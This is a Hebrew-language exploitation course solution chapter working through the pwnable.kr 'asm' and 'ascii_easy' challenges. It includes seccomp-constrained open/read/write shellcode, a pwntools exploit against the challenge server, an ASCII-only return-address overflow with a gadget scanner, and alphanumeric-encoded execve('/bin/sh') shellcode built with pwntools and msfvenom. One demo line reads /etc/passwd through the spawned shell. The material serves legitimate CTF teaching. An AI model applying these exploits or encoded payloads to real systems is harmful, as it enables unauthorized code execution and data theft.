3.3 shellcode מוגבל פתרון
פתרון - shellcode מוגבל¶
נעבור על התרגילים לפי הסדר. שני האתגרים מלמדים את אותו לקח מזוויות שונות: shellcode לא חייב להיות "טהור", הוא חייב להתאים למגבלה. ב-asm המגבלה היא על קריאות המערכת, וב-ascii_easy על הבתים ועל הכתובות.
פתרון תרגיל 1 - מיפוי ארגז החול¶
הלב של asm.c הוא הפונקציה sandbox, שמתקינה seccomp עם מדיניות הריגה כברירת מחדל ורשימת היתר קצרה:
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); // default: kill
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);
}
מריצים את הכלי כדי לאמת:
$ seccomp-tools dump ./asm
line CODE JT JF K
=================================
...
0006: 0x15 0x00 0x01 0x00000002 if (A == open) goto ALLOW
0008: 0x15 0x00 0x01 0x00000000 if (A == read) goto ALLOW
0010: 0x15 0x00 0x01 0x00000001 if (A == write) goto ALLOW
0012: 0x15 0x00 0x01 0x0000003c if (A == exit) goto ALLOW
...
0015: 0x06 0x00 0x00 0x00000000 return KILL
תשובות:
- רשימת ההיתר:
open,read,write,exit,exit_group. ברירת המחדל:SCMP_ACT_KILL. - הפלט תואם: כל קריאה מותרת מנותבת ל-
ALLOW, וכל השאר ל-KILL. execveאינו מותר. לכן אי אפשר לפתוח shell. במקום זה נקרא את הדגל בעצמנו:open->read->write.- במקור מופיע הנתיב הארוך של הדגל, והקלט נקרא כך:
כיוון שהקלט נכנס דרך read, בתי אפס ב-shellcode שלנו הם בסדר. זה משחרר אותנו לכתוב הוראות רגילות בלי לדאוג לקידוד null-free.
למה זה עבד: seccomp-tools תרגם לנו את מסנן ה-BPF לרשימה קריאה. ברגע שראינו ש-execve הורג ו-open/read/write מותרים, כל האסטרטגיה נגזרה מעצמה.
פתרון תרגיל 2 - shellcode של open/read/write¶
קודם הגרסה הידנית, כדי להבין כל שורה. נתיב הדגל האמיתי באתגר הוא ארוך, אז להמחשה נדגים את המבנה עם נתיב מקוצר, ובגרסת pwntools נשתמש בנתיב המלא:
_start:
; open(path, O_RDONLY)
xor rdx, rdx
push rdx ; terminates the string with zero
; ... here we push the path 8 bytes per push, in reverse order ...
mov rdi, rsp ; rdi -> path
xor rsi, rsi ; O_RDONLY
xor rax, rax
mov al, 2 ; SYS_open
syscall ; rax = fd
; read(fd, rsp-0x100, 0x100)
mov rdi, rax
mov rsi, rsp
sub rsi, 0x100
mov rdx, 0x100
xor rax, rax ; SYS_read
syscall
; write(1, buf, n)
mov rdx, rax
mov rsi, rsp
sub rsi, 0x100
xor rdi, rdi
mov dil, 1 ; stdout
xor rax, rax
mov al, 1 ; SYS_write
syscall
; exit(0)
xor rax, rax
mov al, 60
syscall
בפועל, לדחוף נתיב של יותר ממאה תווים ביד זה מסורבל ומזמין טעויות. נותנים ל-pwntools לעשות את זה. הנה ה-exploit המלא מול השרת:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
# the exact path from asm.c
flag_path = '/home/asm/this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooong'
sc = shellcraft.open(flag_path) # fd -> rax
sc += shellcraft.read('rax', 'rsp', 0x100) # reads from fd into rsp
sc += shellcraft.write(1, 'rsp', 0x100) # prints to stdout
sc += shellcraft.exit(0)
payload = asm(sc)
log.info('shellcode length: %d', len(payload))
print(disasm(payload)) # verify: only open/read/write/exit
p = remote('pwnable.kr', 9026)
p.recvuntil(b'shellcode: ')
p.send(payload)
print(p.recvall(timeout=3).decode(errors='ignore'))
לפני שרצים על השרת, בודקים מקומית שאנחנו באמת בתוך המגבלה. רתמת בדיקה קטנה ב-C שמתקינה seccomp זהה, קוראת shellcode מהקלט, ומריצה אותו מעמוד RWX:
// harness.c -> gcc harness.c -o harness -lseccomp
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <seccomp.h>
int main(){
unsigned char *sh = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_PRIVATE, -1, 0);
int n = read(0, sh, 0x1000); // receives shellcode from stdin
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);
((void(*)(void))sh)();
return 0;
}
יוצרים קובץ דגל מקומי בשם המתאים, מזרימים את ה-shellcode לרתמה, ורואים שהדגל מודפס. אם התהליך מת עם Bad system call (אות SIGSYS), סימן שהשתמשתם בקריאה חסומה - חוזרים ל-disasm ומאתרים אותה.
הרצה מול השרת מדפיסה את הדגל:
למה זה עבד: החלפנו את המטרה. במקום execve (חסום), עשינו open/read/write שכולם ברשימת ההיתר. pwntools בנה את דחיפת הנתיב הארוך בשבילנו, ובדקנו עם disasm והרתמה שלא נכנסה שום קריאה חסומה. איך להכליל: מול כל seccomp, ממפים את רשימת ההיתר עם seccomp-tools, ובונים את הפעולה הרצויה אך ורק מהקריאות המותרות. אם open חסום אבל openat מותר - עוברים ל-openat. אם קריאה וכתיבה מותרות אבל אין open, מחפשים אם כבר יש fd פתוח.
פתרון תרגיל 3 - למה shellcode רגיל נופל בפילטר¶
המקור של ascii_easy מכיל את הפילטר ואת הoverflow:
int is_ascii(int c){ if(c >= 0x20 && c <= 0x7f) return 1; return 0; }
void vuln(char* p){
char buf[20];
strcpy(buf, p); // overflow: no length check
}
בדיקת ההגנות:
$ checksec ./ascii_easy
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: ...
PIE: No PIE (0x8048000)
זה בינארי 32 ביט בלי canary ובלי PIE. הreturn address נדרסת על ידי הoverflow ב-strcpy, אבל כל בית בקלט חייב לעבור את is_ascii (טווח 0x20-0x7f).
מוצאים את ההיסט להreturn address:
$ gdb ./ascii_easy
pwndbg> run $(python3 -c "print('A'*100)")
...
pwndbg> cyclic 100
pwndbg> run $(python3 -c "import sys; sys.stdout.write(open('/dev/stdin').read())" <<< "$(cyclic 100)")
# at the crash: read EIP
pwndbg> cyclic -l 0x6161616c
התוצאה נותנת את ההיסט מתחילת buf עד הreturn address (בבינארי הזה בסביבות 20 בתים buffer ועוד כמה לפי הalignment).
עכשיו הניסיון ה"תמים": נבנה payload שהreturn address בו מצביעה לbuffer על המחסנית, למשל 0xffffd6c0:
הבתים 0xc0, 0xd6, 0xff, 0xff כולם מחוץ לטווח 0x20-0x7f. התוכנית תדפיס you have non-ascii byte! ותצא עוד לפני שהoverflow בכלל תרוץ. זה בדיוק הקיר: לא רק ה-shellcode, גם הreturn address חייבת להיות מודפסת. כתובות מחסנית טיפוסיות (0xffff...) פסולות מיסודן.
למה זה עבד (או ליתר דיוק, למה זה נכשל): הפילטר בודק את כל הבתים, כולל אלה של הכתובת. כתובות מחסנית וכתובות קוד רגילות מכילות בתים גבוהים (0xff, 0x08) שאינם מודפסים. לכן הכיוון הנאיבי מת, ואנחנו נאלצים לחפש return address שכל בתיה מודפסים - וזה תרגיל 4.
פתרון תרגיל 4 - כתובת מודפסת שמצביעה לקוד¶
הרעיון: הבינארי טוען ספרייה בכתובת קבועה (הקבוע BASE, בסביבות 0x5555e000), בלי ש-ASLR מזיז אותה. בתוך הבלוק הגדול הזה יש כתובות שכולן מודפסות, וחלק מהבתים בהן שימושיים. אנחנו מכוונים את הreturn address לכזאת.
קודם מאתרים את בסיס הספרייה בזמן ריצה:
עכשיו סורקים את הספרייה למציאת כתובות מודפסות שמצביעות לגאדג'ט שימושי:
from capstone import Cs, CS_ARCH_X86, CS_MODE_32
BASE = 0x5555e000
data = open('libc_mapped.so', 'rb').read()
md = Cs(CS_ARCH_X86, CS_MODE_32)
def printable_addr(a):
return all(0x20 <= b <= 0x7e for b in a.to_bytes(4, 'little'))
for off in range(len(data)):
va = BASE + off
if not printable_addr(va):
continue
# disassemble the bytes and look for a gadget that jumps to our buffer, or the start of useful shellcode
for insn in md.disasm(data[off:off+16], va):
if insn.mnemonic in ('call', 'jmp') and 'esp' in insn.op_str:
print(hex(va), insn.mnemonic, insn.op_str)
break
הסורק מסנן רק כתובות שכל בתיהן ב-0x20-0x7e, ומתוכן מחפש גאדג'ט (למשל jmp esp / call esp) שיעביר את הביצוע לbuffer שאנחנו שולטים בו, או רצף שהוא בעצמו shellcode קורא-דגל. ברגע שיש כתובת כזאת, שמים אותה בהreturn address.
כדי לראות את המכניקה עובדת מקצה לקצה, נשתמש בדמו המקומי מהתרגול, שבו ה-shellcode כבר יושב בכתובת המודפסת 0x55552020. קודם מוצאים את ההיסט:
$ gcc -m32 -fno-stack-protector -no-pie -z execstack -o demo_ascii demo_ascii.c
$ gdb ./demo_ascii
pwndbg> run $(cyclic 60)
# at the crash:
pwndbg> cyclic -l $eip # assume we get 32
וה-exploit:
from pwn import *
context.binary = ELF('./demo_ascii')
offset = 32 # from cyclic
ret = 0x55552020 # little-endian: 20 20 55 55 -> all printable
payload = b'A'*offset + p32(ret)
assert all(0x20 <= b <= 0x7e for b in payload), 'there is a non-printable byte in the input!'
p = process(['./demo_ascii', payload])
p.sendline(b'id; cat flag; cat /etc/passwd')
p.interactive()
הרצה פותחת shell (בדמו) או, באתגר האמיתי, מריצה את הרצף שקורא את הדגל:
למה זה עבד: לא הזרקנו shellcode משלנו בכלל. השתמשנו בבתים שכבר ישבו בכתובת קבועה וידועה, ובחרנו return address שכל בתיה מודפסים (0x55552020), כדי לעבור את הפילטר. ה-padding מולא ב-'A' (0x41) שגם הוא מודפס. איך להכליל: כשהקלט מסונן לבתים מודפסים ויש ספרייה/מיפוי בכתובת קבועה, שאלת המפתח היא "אילו כתובות מודפסות קיימות במיפוי, ומה יושב בהן". סורקים, מסננים לפי מודפסוּת, ומחפשים בין המועמדים גאדג'ט או shellcode שימושי.
פתרון תרגיל 5 - קידוד אלפאנומרי מלא¶
כשאין בתים שימושיים בכתובת מודפסת נוחה, וצריך להזריק shellcode משלנו דרך ערוץ שמסנן לבתים מודפסים - מקדדים אותו. מתחילים מ-shellcode רגיל ומקדדים לאלפאנומרי טהור.
דרך 1, עם pwntools:
from pwn import *
context.arch = 'i386'
raw = asm(shellcraft.sh()) # regular execve("/bin/sh")
enc = encoders.i386.ascii_shellcode.encode(raw) # printable decoder stub + encoded payload
assert all(0x20 <= b <= 0x7e for b in enc), 'there is still a non-printable byte!'
log.info('raw=%d encoded=%d', len(raw), len(enc))
print(enc)
דרך 2, עם msfvenom:
msfvenom -p linux/x86/exec CMD=/bin/sh -e x86/alpha_mixed -f python -v enc
# the output enc is bytes that are all printable; check with the same assert
בדיקת הרצה דרך טוען עם עמוד RWX, בדיוק כמו בשיעור 3.1:
from pwn import *
context.arch = 'i386'
enc = encoders.i386.ascii_shellcode.encode(asm(shellcraft.sh()))
p = run_shellcode(enc) # runs on an executable page
p.sendline(b'id')
print(p.recvline())
p.interactive()
אם הכול תקין, נפתח shell - למרות שכל בית ב-enc הוא תו מודפס.
תשובות לשאלות ההסבר:
- ה-decoder stub מניח שרגיסטר מסוים כבר מצביע לתחילת ה-shellcode המקודד (בעיית GetPC). המקדדים דורשים שתגידו להם איזה רגיסטר זה (למשל
EAX). המפענח משתמש בו כדי לחשב כתובות, לשכתב בזיכרון את הpayload המפוענח, ואז לקפוץ אליו. אם הרגיסטר לא מצביע נכון, המפענח יכתוב במקום הלא נכון וייכשל. - כל הרעיון עובד רק כשהמחסנית/העמוד ניתנים להרצה, כי המפענח בונה את ה-shellcode האמיתי בזמן ריצה ואז מריץ אותו מאותו מקום. אם NX פעיל, הבנייה תצליח אבל ההרצה תיכשל (הגנת הרצה). במקרה כזה קידוד אלפאנומרי לבדו לא מספיק, וצריך לשלב עם ROP מפרק 4.
למה זה עבד: הפילטר בודק רק את הבתים שהוקלדו. ה-decoder stub עצמו בנוי כולו מבתים מודפסים ולכן עובר, אבל בזמן ריצה הוא מייצר את ה-shellcode האמיתי (שאינו מודפס) בזיכרון וקופץ אליו. איך להכליל: קידוד מודפס/אלפאנומרי הוא הכלי לכל ערוץ injection שמסנן בתים - טפסים, שדות שמצפים ל"טקסט", פרוטוקולים טקסטואליים. תמיד מאמתים עם assert שכל בית בטווח המותר, ומוודאים שהאורך המקודד (שגדל) עדיין נכנס במגבלת הקלט.